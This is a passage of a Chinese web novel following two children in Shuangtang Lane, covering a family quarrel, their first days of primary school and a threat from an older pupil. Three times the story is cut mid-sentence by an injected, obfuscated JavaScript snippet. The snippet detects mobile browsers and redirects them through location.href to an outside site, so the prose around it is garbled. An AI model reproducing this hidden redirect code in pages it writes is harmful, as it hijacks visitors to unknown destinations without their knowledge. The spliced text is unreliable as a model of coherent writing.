林傲霜不可置信地看了眼丈夫,转而冷笑一声:“时兴望,你难道就是一个好父亲了?” 两人说着就你一言我一语地吵了起来,周围人也赶紧出言相劝,却没想吵得越发激烈了。 温喜盈绕过围着的大人们,钻到时任与面前蹲了下来。 “食人鱼。” 时任与眼眸低垂,浓密的睫毛遮住了他好看的眼睛,留下一截阴影,听见熟悉的声音,他轻轻动了下手指。 眼前突然出现一块奶糖,是温喜盈最喜欢吃的大白兔,许君竹怕她吃坏牙齿,一个星期才给她一颗,时任与睫毛微颤,抬头看了过去。 温喜盈认真地把奶糖剥开,递到他嘴边,轻声道:“食人鱼,对不起,你吃吧,吃了糖就不难受。” 时任与张开嘴,将奶糖含进嘴里,甜丝丝的奶味在口腔里溢开。 这个暑假,他其实沾了不少温喜盈的光,许君竹每周也会给他分一颗糖,有时候还会偷偷多塞几颗,可他都收了起来,一颗也没动。 虽然刚从池子里捞起来有点冷,可吃了糖好像真的就没那么难受了。 围观人群越来越多,正好是饭点,该下班的都下班了,不少人都跑来看热闹,原本就不大的小草坪上站满了人。 温喜盈蹲累了,抱着膝盖坐在时任与身旁,耳边是大人们叽里咕噜的说话声,视线却一直停留在不远处的一处石头上,大眼里带着隐隐的不安。 “头痛。”一旁的时任与突然大声咳了几下,声音带着几分虚弱。 大人们纷纷侧目看来,吵得激烈的两人也终于停下争执,总算想起来刚泡过水的儿子,林傲霜快步走了过来,将他搂进怀里。 “走,妈妈带你回家。” 林傲霜想把儿子抱起来,却发现他不知何时已经长大了许多,衣服湿了又有些滑,手上的力没控制好,差点一起摔倒。 时兴望这才走过来,接过儿子便大步往前走。 越过父亲宽厚的肩膀,时任与看见温喜盈往一处草丛走去,背影鬼鬼祟祟,也因此,他没错过一旁裙摆微湿的林傲霜,脸上精心化好的妆容被汗水浸花,她抬眼看向神情各异的人群,凤眼中闪过一丝决绝。 - 一家三口回来时,傅梅已经急得爬起来坐到了客厅,经过两个月的休养,她的腿已经好了许多,下床慢慢走没什么问题。 见时兴望铁青着脸进门,她也没顾上问,正想起身看看孙子,时任与便抬头道:“奶奶,我没事,你坐着吧。” 傅梅满眼都是心疼:“先去洗个热水澡,别着凉了。” 时兴望将儿子放到沙发上,自己走进洗手间放热水,幸好家里上周刚装了热水器,现在洗澡不需要再等着烧水了,回想起母亲卧床这两个月,他才突然意识到,自己完全没考虑过儿子是如何洗澡的。 水刚放好,林傲霜也回来了,她从时任与房间拿了衣服,想帮他洗澡。 “我自己洗吧。”时任与起身拿过毛巾和衣物,独自走进洗手间,留下三个面色各异的大人。 “林傲霜,你到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723957|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底在固执些什么?我现在在外面单子很多,能赚钱养家,你为什么就不能在家带孩子,非要去那个破车间,整天早出晚归的,也赚不了几个钱,又苦又累,你就待在家里做个全职主妇不好吗?” 时兴望浓眉大眼,身形魁梧,脸呈方形,面相带了几分狠劲,不熟的人看了会有些犯怵,此刻他瞪着双眼压低声音讲话,让人有几分不寒而栗,只是林傲霜了解他,窝里横的家伙,在外对谁不是客客气气的。 “我也能赚钱,凭什么要我待在家里。” “既然不愿意带孩子,你当初干嘛答应要生?” “我为什么要生?怀上的时候要不是你保证不用我带,我真是脑子坏了才会被你哄骗着把孩子生了。”林傲霜忍不住提高了几分音量。 洗手间里的水声戛然而止,隔了两秒才又听见流动声。 傅梅瞅了眼洗手间的门,低声喝止:“要吵出去吵,非要让孩子听见才开心是吧?” 林傲霜深吸口气,扫了扫有些乱了的刘海,冷静了几分,才淡淡道:“服装厂的工作我辞了,明天开始我会到百货大楼做柜台销售,做得好有提成,工资不一定会比你低。” 今天丈夫难得回来,她原本是很开心的,正好自己也有喜事分享,只是他晚上一番话,突然就将自己骂醒了,原来她努力想为家庭做的付出,他根本半点没放在眼里。 时兴望哧地一声,眼里闪过不屑,正要开口说什么,洗手间的门被打开了。 “我先回房睡觉了。”时任与湿着头发走了出来,说完就往房间走。 “先把头发弄干了再睡。”林傲霜拿了把蒲扇,将他招呼过来,说着便往他头发上轻轻扇风。 时兴望伸手准备开电风扇,就被傅梅拍了一下:“你儿子刚泡过水,想把他吹感冒吗?快去煮点姜汤。” 他敢跟妻子大声讲话,却不敢对母亲不敬,于是灰溜溜地进了厨房。 一家人刚安静下来没多久,门铃便响了,林傲霜去开门,门外许君竹带着温喜盈,手里还提着几个打包盒,熟络地走了进来。 “都还没吃饭吧?我从店里带来的,一块吃点?” 一顿饭下来,除了许君竹和傅梅偶尔攀谈两句,大部分时候都很是安静,就连平时叽叽喳喳个不停的温喜盈,也眼观鼻鼻观心,乖巧得像只小兔子,除了手偶尔忍不住往口袋摸。 时任与在大人们围观中喝下了一整碗姜汤,才被允许进房休息,温喜盈也熟练地跟着钻了进去。 林傲霜夫妻俩则一个去洗澡,一个出门倒垃圾,见女儿还要赖在人家里,许君竹只好陪着傅梅在房间里聊天。 时任与的房间不大,家具倒是样样齐全,大部分都是林傲霜夫妻结婚时买的实木家具,书桌上还有台收音机,就连电风扇也是顶好的牌子。 床对面是一个衣柜和满墙的书架,里面放了许多看过的儿童书籍,还有一大半是空的,傅梅说留着将来上学了放书用。 平心而论,作为家里唯一一个小辈,他得到的物质条件都是整个家庭竭尽所能提供最好的。 时任与确实有些冷了,开了风扇朝向温喜盈吹,自己上床拉被子盖上,一转头就见她自如地爬上书桌前的靠椅,一边抱着把手,一边往口袋里掏东西。 还没等他反应过来,一只青绿色的活物已经出现在那双肉乎乎的小手上。 时任与突然就很后悔晚上帮了温喜盈。 而那个罪魁祸首,只是笑眼弯弯道:“食人鱼,看在你保护它的份上,我特意冒险带它来感谢你!” 8. 第八章 温喜盈一直都没有表面上看起来那么乖巧无害,这一点时任与从很久以前就知道了。 比如,小时候两人一起窝在小床上看童歌碟片时,她总是最快将自己的奶粉喝完,然后盯着他的奶瓶看,直到他被看得不自在,总会剩下一些给她。 再比如,每次在外面玩遇到下雨天,她总爱把鞋袜脱光,跑到水坑里踩水完,快到家时才在路边摘片大叶子擦干,再若无其事地穿戴整齐走回家。 还比如现在,她把自己珍藏在池塘边的小乌龟,揣在裤兜里,一路上瞒着所有人,带到自己的房间里,美名其曰要感谢自己。 时任与看着她殷切的眼神,再看看那双脏兮兮的小手,勉为其难道:“知道了,快收起来吧。” 温喜盈雀跃地摸了摸小乌龟的头,又确认了一遍门锁关紧了,才小声道:“看在你今天这么讲义气的份上,我又害得你掉进水里了,那次你和爸爸告状的事,我就原谅你了,我们和好吧,食人鱼。” “都说了不是我告状的。”时任与皱眉道。 那天去池塘里抓乌龟的时候,大伙还都在睡午觉,只有时任与跟着她,不是他告状,还能有谁,温喜盈可不傻。 不过看在他今天这么可怜的份上,温喜盈决定不和他计较,于是一边逗乌龟一边敷衍地回了声好吧。 时任与不慎落水的事情就这么过去了,睡了一觉醒来,天气照旧晴朗。 今天是双棠小学的入学体检,一大早,许君竹就带着两个小孩出发去了卫生所做检查,温广生留在店里看店,至于时兴望夫妻,据说一个昨晚接了个运货单走了,另一个早晨四五点就出门了。 傅梅只能无奈地把儿子留下的红包塞给了许君竹,拜托她再继续照顾一段时间。 暑假这两个月,温喜盈吃吃喝喝,蹦蹦跳跳一样没少,身高一下子蹿了许多,女孩本就发育得早,两人体检完,温喜盈身高比时任与都高出了两厘米,给许君竹高兴得不行,可面上又要顾及小男孩的自尊心,只敢在心底悄悄开心。 时任与这两个月精神头虽不错,体型瞧着却瘦了不少,许君竹变着法做了不少菜式,可只有温喜盈吃得开心,他总是不冷不淡的,净挑素菜吃。 这孩子不知随了谁,打小就不爱吵闹,安静沉稳,连第一次开口说话都比寻常小孩慢。 “脏!”是小时任与人生中讲的第一句话。 那天温喜盈办周岁宴,许君竹在地面铺了各式各样的物品让她抓阄,结果小姑娘绕过一堆小物件,歪歪扭扭地爬上椅子,伸手就去抓盘子里的鱼,汤汁溅起,洒到了一旁的时任与脸上。 他难得皱起小脸,字正腔圆地吐出那个字,惹得傅梅边哈哈大笑边替他擦干净。 从那以后,时任与才时不时蹦出几个字,尤其是温喜盈在的时候,讲得尤其多。 许君竹将两个孩子的体检单收好,转头便瞧见夏天心和段储手牵着手走了进来,后头跟着各自的爸妈,都是一条巷子里的,大家一碰面就自然地打起招呼。 几个小孩凑到一起更是叽叽喳喳个不停,等大家各自分开时,许君竹才发现时任与不知何时不见了。 “盈盈,小与呢?” 温喜盈嘴里还嚼着抽完血护士阿姨给的糖,含糊道:“他去噗噗了。” 许君竹放下心来,拉着女儿坐在门口的长椅上等着,直到夏天心他们都体检完走了,还不见时任与的身影,才有些着急地往洗手间走去。 刚到门口,时任与就从里面走了出来,头发上沾了些水,湿哒哒地往下滴落,衣袖也有些湿润。 “怎么了小与?”许君竹蹲下身关切道。 时任与一脸平静:“没事阿姨,水龙头坏了,不小心溅到身上了。” 见他面色无常,许君竹便没再追问,从包里掏出纸巾替他擦干。 温喜盈嚼着糖,眼睛不停往他身上瞟,直到时任与看过来,她才若无其事地移开目光。 小插曲过去,许君竹带着他们去了百货大楼买东西,上了小学就是正经学生了,该备的东西都要买齐,二楼卖的都是文体类商品,玲琅满目的,温喜盈眼神一下就被勾走,看着花样各式的文具,时任与也终于感受到成为小学生的与众不同,眼里多了分认真。 最后温喜盈选了个美少女战士的书包,时任与则买了个纯色的,在许君竹的要求下,两人都很节制地只挑了上学要用的必需品,最后才允许他们一人挑一样自己喜欢的。 温喜盈几乎没有犹豫,一下子跑到玩具区,拿了个她一进来就相中的溜溜球。 时任与在几排货架前走了一圈,选了一本儿童读物。 看着两人差别迥异的选择,许君竹心底苦笑,女儿身体确实健康强壮,可这以后的学习,怕是少不了自己操心的。 - 上小学第一天,温广生夫妻俩决定关店一天,送女儿去上学。 傅梅也撑着拐杖,给孙子穿上校服,系好扣子,再替他背上书包,送到家门口。 她的脚已经可以下床了,只是爬楼梯还有些困难,又只能麻烦邻居了。 许君竹让孩子们先下楼,自己拉着傅梅到一旁说话。 “孩子上学第一天,两口子一个都不去送呀?” 傅梅无奈道:“他妈妈昨晚就搬出去了,说是百货大楼给了员工宿舍,她去那边方便学习,昨晚悄悄给小与塞了钱,我都看见了,真是不好意思,又要麻烦你们了。” “这说的什么话,盈盈小的时候,我们要顾着店里生意,不也成天放在你们家帮忙带看,远亲不如近邻,这都是相互的。”许君竹拍了拍老人的手,让她别再说客套话。 傅梅笑道:“好好好,都是一家人不说两家话。” 双棠小学虽然和双棠巷同属一个街道,但由于直达的路这两年一直在修,过去要绕些远路,校车要在开学第二天才正式开始接送,温广生难得奢侈一把,打了辆的士送他们去学校。 双棠小学夏天的校服统一是短袖短裤,穗城地处南方沿海,九月份天气温度还高着,穿着倒也合适,只是温喜盈一贯不喜束缚,衬衣纽扣和领子卡得她难受,一路上总忍不住想去扯。 “妈妈,我想解开一个扣子。” “盈盈乖,你只是不习惯,习惯就好了。”许君竹替她摆正衣领。 “为什么要习惯?我不喜欢。”温喜盈嘟嘴道。 “你看小与哥哥,他就穿得好好的,你要多和他学习,从今天开始,你就是个小学生了,不能再向以前那样任性,要听老师的话,知道吗?” 温喜盈很不高兴地转头看向时任与。 时任与和她对视一眼,没有说话。 十五分钟的路程,车子很快就抵达双棠小学,家长不让入内,他们只能将两人送到校门口。 “盈盈,小与,学校发的入学通知里,你们两个都在三班,等会进去了跟着老师走,爸爸妈妈就在附近等你们,放学了来接你们,不能自己乱跑,知道吗?” 时任与乖乖点头,温喜盈兴致缺缺地和爸妈摆摆手,两人便手牵手进校门了。 “食人鱼,上学一点都不好玩。”温喜盈边走边嘟囔道。 “你不想习惯,可以不习惯。”一直沉默的时任与突然冒出一句话。 “什么?”温喜盈停下脚步。 时任与也停下来看她,小脸上透着一股认真劲。 “书上说了,每个人来到这个世界,都要遵守这个世界的规则,才能顺利地和别人相处下去,可如果你只想做自己喜欢的事,也没关系,只是你要准备好忽视别人异样的眼光。” 温喜盈保证,她听得很仔细,可还是皱起了眉头:“你在说什么,我听不懂。” 时任与抿唇,茶色的眼眸里闪过一丝无奈:“你以后就懂了,走吧,我看到写着3的牌子了。” 不得不说,温喜盈好动的性格给她带来了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723958|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处,比如现在,刚排进班级队伍里,她就已经和前后几个同学交换了名字,连对方家里有几口人都问清了。 夏天心他们三个也被分到了三班,只不过因为来得晚些,排在了后面,温喜盈发现后,隔着人群探头探脑地朝他们招手。 江怀木看见他们也很是兴奋,跳起来大声喊他们的名字,小同学们纷纷侧目看过来,好在老师在忙着给大家排队,没发现这边的吵闹声。 夏天心一把拉住江怀木,不知和他说了什么,表情一脸严肃。 “天心是不是生气了?”温喜盈歪着脑袋问。 “嗯,你要是不乖乖站好,再和同学说闲话,她也会生你的气。”时任与恐吓道。 温喜盈抬头看去,夏天心的眼神正往这边瞟,她立马转身站直,嘴巴抿成了一条线。 三班的班主任是年轻的语文老师余秋苹,小学生们开学第一天,余老师带着大家参观学校的教室、礼堂、食堂,认识厕所的位置,随后就领回教室分配座位。 “现在大家站好,刚才你们也都看到了,教室里的座位是两个人一组,老师念到名字的人,就会成为同桌,进教室后按照从左到右,从前到后的顺序,乖乖坐好,听明白了吗?”余秋苹手里拿着资料,确认小朋友们都听懂后,开始对着名单念名字。 温喜盈站在队伍中间,看着身边的人一个个被叫到名字走进教室,眼睛一直咕噜噜地转。 听见夏天心的名字,她眼睛一亮,然而随后听到的却不是自己想要的答案。 “江怀木。” 温喜盈满脸失望,嘴巴嘟得老高,到后面老师叫到她名字了也没听到。 “走了,进教室。”时任与拉住她的手,催促道。 “干嘛?”温喜盈不开心道。 余秋苹等了半分钟也不见人,又喊了一遍:“温喜盈,时任与。” 和时任与当同桌,温喜盈倒也不排斥,可她心里最希望的还是和夏天心坐在一起,于是一整个上午,她都在座位上闷闷不乐的,老师在讲台上讲入学后的各种注意事项,她也只听了个半成。 吃过午饭,小学生们在课桌上趴着午休,下午就开始评选班干部了,大家自愿报名,上台自我介绍,由同学们投票决定。 夏天心第一个上台竞选班长,毫不怯场地演讲结束后,同学们便开始举手投票,温喜盈一边四处劝说前后左右的同学投票,一边将两只手举得特别高,生怕老师看不见,又踩着凳子腿准备站起来,幸好时任与眼疾手快,一把将人拉下。 “你也举手,快点。”温喜盈左手高举,另一只手去拉时任与的。 温喜盈早上没有认真听讲时,余秋苹就已经注意到她了,这会见她这么好动,心里开始隐隐有不详的预感,一脸严肃道:“喜盈同学,不能强迫别人,你自己选自己的就行。” 其他同学纷纷看了过来。 “老师,我没强迫,他也要投票的。”从小在双棠巷野到大的温喜盈,根本就不畏惧这种场合,一下从凳子上跳起来,和老师据理力争道。 “你是自己想投的吗?”担心同学之间出现霸凌情况,余秋苹温柔地确认道。 时任与无奈点头,他本来就想投的,刚才是怕温喜盈违反纪律被骂,为了拉她才没空举手的。 “好,那先都坐好,还有没有其他同学要来竞选班长。”余秋苹眼神扫了一圈教室,又问了两遍,没有人应声,“那么,我们一起恭喜夏天心同学全票当选一年级三班的班长。” 教室里响起热烈的掌声,夏天心第一次在人前笑得有些腼腆。 温喜盈鼓掌鼓得手心都红了,看着同学们一个个上台竞选,再看向隔壁座位已经成为班长的夏天心,手臂交叉放在桌上,坐得很是端正,就连江怀木也当选了体育委员,仿佛一下子就成了“真正的学生”。 她低头沉思片刻,才戳了戳身旁人的手臂:“食人鱼,我们也去选一个吧?” 9. 第九章 时任与对于竞选班干部其实没有什么兴趣,听老师的介绍,班干部要起带头作用,要和同学们相处好关系,想想就很麻烦。 可是面对温喜盈那双大眼睛,他不知怎的,说不出拒绝的话。 班级竞选只剩下学习委员和小组长了,奶奶说过要他好好学习,所以他几乎是一瞬间就做好了决定,因为学习委员需要经常和老师打交道,小朋友们刚来学校,都对老师有几分敬畏,除了他没人想竞选,于是时任与便顺利当选了。 余秋苹对于温喜盈的积极主动很是惊讶,虽然有点担心这个好动的小朋友是三分钟热度,但也还是带头恭喜她成功当选他们组的小组长。 于是一年级三班开学第一天,就在热闹的氛围中结束了。 放学时,几人原本约好要一起出校门,夏天心却让他们先走,自己拉着段储往老师办公室去了。 “他们去干嘛呀?”温喜盈最后从教室走出来,书包背得扭扭歪歪的,看着两人的背影疑惑道。 “可能是老师找天心有事吧。”江怀木也不清楚。 温喜盈咯咯笑:“以后要叫班长了。” 时任与替她将书包背带拉正,嫌弃道:“能不能别笑得那么傻。” “你才傻呢,我们的朋友当班长了,你不骄傲吗?不高兴吗?”温喜盈觉得他很没义气。 时任与一脸平静,边走边道:“高兴,快走吧,叔叔阿姨还在等我们。” “讨厌鬼。”温喜盈哼了一声,和江怀木一起跟上他。 温喜盈第一次知道“鬼”这个字,是从温广生租来的《开心鬼》碟片中学到的。 许君竹对她的教育其实很宽松,但在文明用语这方面却很严格,任何脏话都不准学半个字,她有一次不知从巷子里哪个大人那学了一句,和小朋友闹矛盾时情急说了出来,被罚站了整整一个下午。 于是从那以后,温喜盈会用“鬼”来取外号表达自己的不满,这样既不会挨骂,又能抒发情绪。 比如她会在时任与惹自己不高兴时,叫他讨厌鬼。 时任与已经习惯了,也没当回事,只是走在前面听着她念叨。 许君竹和温广生早就在校门口等着了,见女儿背着书包满面春风地走出来,都一脸雀跃,这么可爱的小女孩,是自己家的呀。 江怀木也见到了自己的家长,各自告别后,温广生带着他们上了出租车。 为了庆祝小学生们顺利度过开学第一天,还都当选了班干部,夫妻俩决定带他们去凤凰茶楼吃茶点。 晚市的茶点花样虽不如早上多,但给两个小学生吃完全足够了,温喜盈一坐下就心无旁骛地吃,温广生问他们第一天上学发生了什么,也只有时任与礼貌性地回答几句。 许君竹一看便知道这俩人又闹小矛盾了,不过大概率是女儿单方面在生闷气。 等到温广生去门口抽烟时,她往两人碗里分别夹了个虾饺,笑道:“你们两个以后可就要一起坐六年的同桌了,盈盈你要和小与要好好相处,不能老是耍小脾气了。” 时任与抿了抿唇,埋头吃饭。 温喜盈不说话,低头用筷子戳开水晶皮,露出里面晶莹剔透的虾肉,把肉里的冬笋挑出来留在碗里,她只爱吃里面的虾馅。 见妈妈一直盯着自己,她只好不情不愿地回话:“知道了,我和食人鱼是永远的好朋友。” 许君竹满意地点点头,交代两人乖乖坐着吃饭,就起身去洗手间了。 时任与伸出筷子,将温喜盈碗中的冬笋夹到自己碗里,今天早上余老师才说了,吃饭挑食不好,不能浪费食物,既然他们是好朋友,帮忙分担一下也是应该的。 - 第二天起,小学生们就开始乘坐校车上学了,早上车辆不多,两个孩子乖乖走斑马线还是很安全的,许君竹带他们去认过一次路后,便决定让孩子们自己去乘车了。 这天早上,她将女儿送到家门口,看着两个小孩背着书包,手牵手走下楼去,安心地回房间补觉了。 温喜盈到楼下就停下不肯走了,时任与当然知道她想干嘛,拉着她的手把人往前拽。 “天心他们有段叔叔接送,你在这里也等不到她的。” 段储搬来一个暑假了,双棠巷的人都知道他家家底厚实,但是小轿车就有两辆,上小学后,段储的父亲每天都会接送他去上学,顺道也带着邻居夏天心一起。 温喜盈垂着脑袋不说话,一只手抓着衣角捏啊捏。 “走吧,等会校车走了,就没法上学了。”时任与说道。 温喜盈的肩膀开始微微抖动,时任与隐隐听到了啜泣声,从记事起,他没见温喜盈哭过,跌倒了就跺一跺绊倒她的石头,闯祸了挨骂,也是一脸倔强地面壁思过,几乎没什么能让她掉眼泪的事。 “怎么了?”时任与低头去看她。 温喜盈抬头,嘴巴撅得高高的,杏眼里砸出一颗颗豆大的泪珠,掉到了嘴唇和地上,才哭了不到一秒,她就好奇地舔了舔自己的嘴唇,和电视里说的一样,眼泪是咸咸的。 “食人鱼,天心是不是不和我做好朋友了,她让老师把同桌换成段储,怎么不让我当她的同桌?” 江怀木和段储换位置,是夏天心去找老师说的,温喜盈昨天知道的时候,只觉得天都塌了,闷闷不乐了一整个晚上,下决心今天一定要找她问问。 时任与体检那天听过大人们讲话,大概能猜到原因,安慰道:“那是因为段储生病了,天心觉得这样可以照顾到他。” 这下温喜盈能理解了,用手背抹掉眼泪,想了想还是有点难过,忍不住又掉了几滴泪。 “我不是你的好朋友吗?不想和我当同桌?”轮到时任与有些郁闷了。 温喜盈泪眼朦胧地看向眼前的人,迟疑了一会摇摇头,又点点头。 时任与从书包里掏出傅梅替他准备的纸巾,抽出一张递给温喜盈,等她擦干眼泪后,说道:“走吧,去上学了。” 小插曲过去,两人又重新手牵手往前走,还没走出双棠巷,就听见身后有声音在喊他们。 两人转头一看,江怀木嘴里咬着包子,正朝他们跑来,等到气喘吁吁地靠近后,他疑惑地大叫了一声:“温喜盈,你眼睛怎么红红的?” 温喜盈瞪他一眼,背过身去了。 “吃你的包子吧,忘了昨天被罚站了?”时任与淡淡道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723959|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天在校车上吃东西被老师罚站的事,江怀木还历历在目,也顾不上其他,赶紧边走边大口咬包子。 到教室时,段储和夏天心已经在座位上了。 江怀木跟段储换座位后,又因为长得太高,被老师调到了温喜盈的后面。 还有十五分钟才上课,大家都在和新认识的同学吵吵闹闹地聊天,温喜盈忘性大,坐了一路车早就把小情绪抛之脑后了,一到座位就先和夏天心聊起来,她现在是个小学生了,每周都会有一小笔零花钱,便和她约好周末一起去游戏厅玩新上的卡带,之后又开始前后左右四处搭话。 直到上课的预备铃响起,时任与才将探着身子和前桌玩橡皮泥的人拉回座位,等待老师上课。 开学头两天上的都是一些常识课和生活课,目的是让大家先适应小学的环境,今天才开始上真正的文化课,温喜盈听着听着就开始走神,拿着铅笔在纸上乱画,惹得余秋苹也多往这里瞟了几眼。 趁着老师面对黑板写字,时任与将她手里的笔抽出来,放到自己的文具盒里,又继续表情严肃地看向黑板。 温喜盈一脸惊讶,正准备抢回来,余秋苹就转过身来,眼神严肃地落在她身上,警告性地咳了一声,她只好悻悻作罢,心底悄悄说了好多句讨厌鬼。 没了玩具,她只能竖起耳朵乖乖听课。 在和小伙伴们的吵吵闹闹中,温喜盈很快就适应了小学生活,按时上学,按时吃饭,按时和时任与拌嘴,每天都过得很充实。 这天一年级三班轮流值日正好轮到温喜盈这一组,作为小组长,她还是很有责任心的,自己跑前跑后洗抹布,又监督同学们打扫干净。 低年级放学时间早,校车已经提前出发了,他们打扫完卫生,就在老师的带领下,跟着高年级学生一起排队搭后面的车。 离开教室前,温喜盈想去上厕所,时任与留下来等她,于是两人到校门口时,只能排在一年级队伍的最后面。 隔壁就是高年级的队伍,温喜盈看着一个个比她高的哥哥姐姐,也难得变安静了,乖乖地站直等候。 才刚等了没一会,她就察觉身上有道目光,抬头看去,隔壁一个高高胖胖的男生正盯着他们看,准确地说,是在盯着时任与。 温喜盈觉得他的表情很凶,比巷子里瞿奶奶家看门的大黑狗还要凶,她咬了咬唇,转头看向时任与,发现他也在注视着那个男生,神情有些怪异。 眼见胖男生正要开口,前面就传来老师的声音:“车到了,一年级的同学先上车坐左边,六年级的同学在后面跟上,坐右边那排。” 大家按照顺序依次上车坐好,好巧不巧,那个男生就坐在温喜盈和时任与同一排的右边。 他人长得胖,一个人就坐了一排两人的位置,其他同学似乎也都有意避开他,没人往他身旁坐。 温喜盈坐在窗边,一双大眼咕噜噜地转,想往右边看看,却被那个男生瞪了一眼,只好转头假装看向窗外的风景。 很快,老师点名完毕,车辆开始启动,隆隆的汽车启动声里,她听见男生对时任与在说话,声音里带着一股狠劲:“原来你也在我们学校,等着吧,你完蛋了。” 10. 第十章 一直以来,时任与都是大人眼中的乖孩子,至少到今天为止是这样的。 温喜盈第一次知道,原来他也是会在外面惹祸的。 在双棠巷路口下车的只有他们两人和那个男生,温喜盈一下车就紧紧抓住时任与的手,眼神一直停留在男生身上。 时任与一脸平静,手也不自觉用力握住。 眼见校车离开,男生朝他们伸出胖胖的大手,两人对视一眼,同时迈开腿往双棠巷里跑,风声从耳边呼啸而过,温喜盈觉得自己这辈子没跑这么快过。 一直到家楼下,两人才气喘吁吁地停下来,再回头看时,已经不见那个男生的身影了,巷子里不时有大人小孩步行而过,熟悉的人还以为两人在玩闹,路过时叮嘱了两句:“你们跑慢点,小心摔倒咯。” 温喜盈擦了擦额头的汗,睁着无辜的大眼点头。 两人一路走上楼,谁也没有开口说话,许君竹夫妻俩还在看店,他们放学后都是去时家写作业,写完再去店里吃饭。 傅梅听见外面的动静,走出房门给他们拿了些点心,她已经能下床慢慢走路了,医生说再养个一段时间,就能爬楼梯了。 “回来啦,先吃点饼干。” “奶奶,我不饿,先去写作业了。”时任与摆摆手,背着书包回了房间。 对小零食最感兴趣的温喜盈也难得没有伸手去接,只是跟着应了声不饿,便快速地往时任与房间钻,顺带将房间门关上锁好。 为了让两个孩子能一起做功课,时任与的书桌前多了一张椅子,还好桌子够大,坐两个小学生绰绰有余。 温喜盈把书包往桌子上一扔,翘着二郎腿坐上椅子,学着许君竹平时的样子,将小短手环在胸前,一副质疑的模样:“食人鱼,你在外面干什么了?老实交代。” 时任与没理她,只是从书包里掏出作业本和文具袋,开始专心致志地写作业。 温喜盈对他的态度很是不满意,哼了一声又警告道:“快点说,不然我要去告诉傅奶奶。” 这回时任与总算是有了反应,抬头时眼里带了几分慌张,有些着急道:“别跟大人说。” 温喜盈大眼一转,想了想说:“可以,但是你得帮我写今天的生字。” 她最不喜欢的就是写生字本,虽然现在只教了简单的点横撇捺,可一笔一划要写好,实在太考验耐心了,那是温喜盈生来就没有的。 时任与皱眉,心里挣扎了一下,最后点头同意了。 温喜盈喜上眉梢,完全忘了要质问他的事,将生字本掏出来往他手里一塞,就跑出门去找傅梅要饼干了,担心被奶奶发现,她吃了两块就进房间装模作样地写作业。 第二天上学时,温喜盈在课堂上被老师叫上讲台,比起前几天歪歪扭扭的作业本,昨晚的作业进步很大,她心安理得地领了老师的小红花,美滋滋地坐回座位上。 连续两周都得了小红花的时任与很是平静,领完便回到座位上继续听课,倒是温喜盈,一整堂课都在摸着小红花,嘴角都快翘到天上去了。 放学后回到时家写作业时,温喜盈又想故技重施,抱着作业本笑眯眯地站在书桌前。 时任与朝她一脸严肃地摇头:“昨天是第一次也是最后一次,你不自己写就永远学不会。” 温喜盈的笑容消失了,试探道:“你不怕我告诉傅奶奶了?” “你说吧,说了我就告诉阿姨,你让我帮忙写作业的事。”时任与无所谓道。 温喜盈怒目圆睁,讨厌鬼居然在这里等着她! 僵持了片刻,时任与仍旧淡然自若地握笔写字,眼看他已经快写完了,无奈之下,温喜盈只好坐回自己的座位,闷闷不乐地掏出作业本,正准备开始写,耳边就传来一道声音。 “今天老师才表扬了你,你要是不认真写,明天老师就会发现你的作业不是自己写的。”时任与头也没抬,视线仍专注在作业本上。 温喜盈握紧小拳头,在他看不见的地方凶巴巴地瞪了一眼。 - 上学的日子过得飞快,很快就迎来了国庆长假,自从开始上学,温喜盈再也没法像暑假那样大清早就起来玩了,一到周末就赖床到太阳晒屁股,可假期第一天,许君竹就进她房间拉窗帘掀被子。 “起床了,大阅兵要开始了。”许君竹拿了条湿毛巾盖在她脸上,强行将人唤醒开机。 1999年的国庆节,是共和国成立五十周年纪念日,这场世纪大阅兵,从很久之前,报纸、收音机、街边张贴的海报,到处都在宣传,双棠巷的大人们也经常在聊,温喜盈放假前就和夏天心他们约好,今天要一起去段储家看大彩电的电视直播。 洗漱穿戴整齐,吃过早饭,温喜盈套上凉鞋走出门,对面的门也恰好在此时打开。 她瞟了时任与一眼,一言不发地转身下楼了。 是的,温喜盈早就暗暗下了决定,这次时任与不主动道歉,她是坚决不会再和他说一句话的! 两人一前一后地到了段储家。 段储和夏天心家都是独栋,两个房子紧挨着,共享同一个院子,只不过段储家的楼翻新过,看起来气派了不少。 他们都去夏天心家玩过,却是第一次来段储家。 四层的大房子,装修豪华,家具都是红实木材质的,上面铺了层透气的印花垫子,温喜盈一屁股坐下去,软乎乎的,比起家里的木椅不知舒服了多少,旁边还有个立式空调,她也只在商场里才吹过空调。 